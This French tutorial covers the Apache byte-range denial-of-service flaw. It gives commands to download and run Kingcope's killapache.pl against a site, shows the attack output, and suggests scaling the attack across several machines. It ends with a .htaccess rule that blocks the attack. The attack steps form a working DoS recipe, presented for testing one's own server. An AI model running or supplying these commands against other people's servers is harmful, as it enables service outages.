L'attaque

Cette attaque est mise en oeuvre par le script Perl fournit par Kingcope. Apache2 a déjà colmaté la brèche mais tous les Lunix ne l'ont pas prise en compte, par exemple Debian Squeeze tourne avec un Apache 2.2.16 et la faille est présente, ce qui n'est pas le cas avec Ubuntu 13.04 avec un Apache 2.2.22. (On verra plus bas, que le trou est facile à boucher). Alors pour tester votre système, il vous suffit, à partir d'un serveur Linux, d'ajouter une extension Perl (pour ceux qui ont des package comme Debian, vous savez ce qu'il vous reste à faire) :

 # cpan -i Parallel::ForkManager

Puis on récupère le script

 # wget http://www.pintaric.net/killapache.pl.pintaric.net
 # mv killapache.pl.hackersgarage.com killapache.pl
 # chmod u+x killapache.pl

Maintenant, il suffit de lancer l'attaque vers votre site pour le tester:

 # perl killapache.pl example.com 50
 host seems vuln
 ATTACKING example.com [using 50 forks]
 :pPpPpppPpPPppPpppPp
 ATTACKING example.com [using 50 forks]
 :pPpPpppPpPPppPpppPp
 ATTACKING example.com [using 50 forks]
 :pPpPpppPpPPppPpppPp

Si votre site résiste, vous pouvez augmenter le nombre de connexions, en les faisant passer de 50 à 200 ou si le poste sur lequel vous lancez cette attaque ne le permet pas, lancer le script sur plusieurs postes (ou VM). En très peu de temps (quelques secondes), vous allez voir la charge de votre serveur monter et finalement, tout va se bloquer tant que l'attaque sera en cours.

La protection

Pour se prémunir de ce genre d'attaque, il y a quelque chose d'assez simple à faire. Mettre un .htaccess pour empêcher les requêtes HEAD avec un range. Donc, il vous suffit de créer l'.htaccess suivant à la racine de votre site:

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(HEAD|GET) [NC]
RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)(\s*,\s*[0-9]*-[0-9]*)+
RewriteRule .* - [F]

Vous pouvez maintenant retenter l'attaque, et normalement, votre serveur ne va pas se bloquer.

Pour ceux qui ne souhaitent pas mettre en place le .htaccess, serrez les fesses et attendez Debian Wheezy...